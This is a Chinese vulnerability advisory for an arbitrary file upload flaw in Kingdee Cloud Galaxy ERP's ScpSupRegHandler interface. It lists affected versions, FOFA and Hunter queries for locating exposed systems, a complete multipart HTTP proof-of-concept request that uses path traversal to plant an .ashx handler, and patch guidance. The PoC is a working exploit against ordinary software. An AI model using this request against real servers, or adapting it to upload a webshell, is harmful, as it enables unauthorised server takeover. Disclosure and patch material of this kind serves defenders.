【漏洞情报 | 新】金蝶云星空ScpSupRegHandler任意文件上传漏洞

免责声明

文章所涉及内容，仅供安全研究与教学之用，由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。

产品简介

金蝶云星空是一款云端企业资源管理（ERP）软件，为企业提供财务管理、供应链管理以及业务流程管理等一体化解决方案。

漏洞描述

金蝶云星空 ScpSupRegHandler接口存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件获取服务器权限。

影响版本

金蝶云星空企业版私有云、企业版私有云（订阅）、标准版私有云（订阅）三个产品
V6.2(含17年12月补丁) 至 V8.1(含23年9月补丁)

网络测绘

favicon图标特征FOFA网络测绘搜索

app="金蝶云星空-管理中心"
title="金蝶云星空 管理中心"

鹰图网络测绘搜索

app.name="Kingdee 金蝶云星空"
web.title=="金蝶云星空 管理中心"

漏洞复现

访问系统如图

漏洞验证POC

POST /k3cloud/SRM/ScpSupRegHandler HTTP/1.1
Host: 127.0.0.1:8000
Accept-Encoding: identity
Content-Length: 826
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=2ac719f8e29343df94aa4ab49e456061

--2ac719f8e29343df94aa4ab49e456061
Content-Disposition: form-data; name="dbId_v"

.
--2ac719f8e29343df94aa4ab49e456061
Content-Disposition: form-data; name="FID"

2022
--2ac719f8e29343df94aa4ab49e456061
Content-Disposition: form-data; name="FAtt"; filename="../../../../uploadfiles/test.ashx."
Content-Type: text/plain

<%@ WebHandler Language="C#" Class="TestHandler" %>
        using System;
        using System.Web;
        public class TestHandler : IHttpHandler {
            public void
            ProcessRequest (HttpContext context) {
                context.Response.ContentType= "text/plain";
                context.Response.Write("Test");
            }
            public bool IsReusable {
                get {return false; }
            }
        }
--2ac719f8e29343df94aa4ab49e456061--

响应包如下图则上传成功访问上传的文件

http://127.0.0.1:8000/K3Cloud/uploadfiles/test.ashx

nuclei批量验证POC模板

请在后台回复【231118】获取下载链接

修复方案

官方已经发布补丁，建议受影响用户尽快安装补丁或联系官方售后支持获取版本升级安装包。 

https://vip.kingdee.com/school/detail/505412093244235264?productLineId=1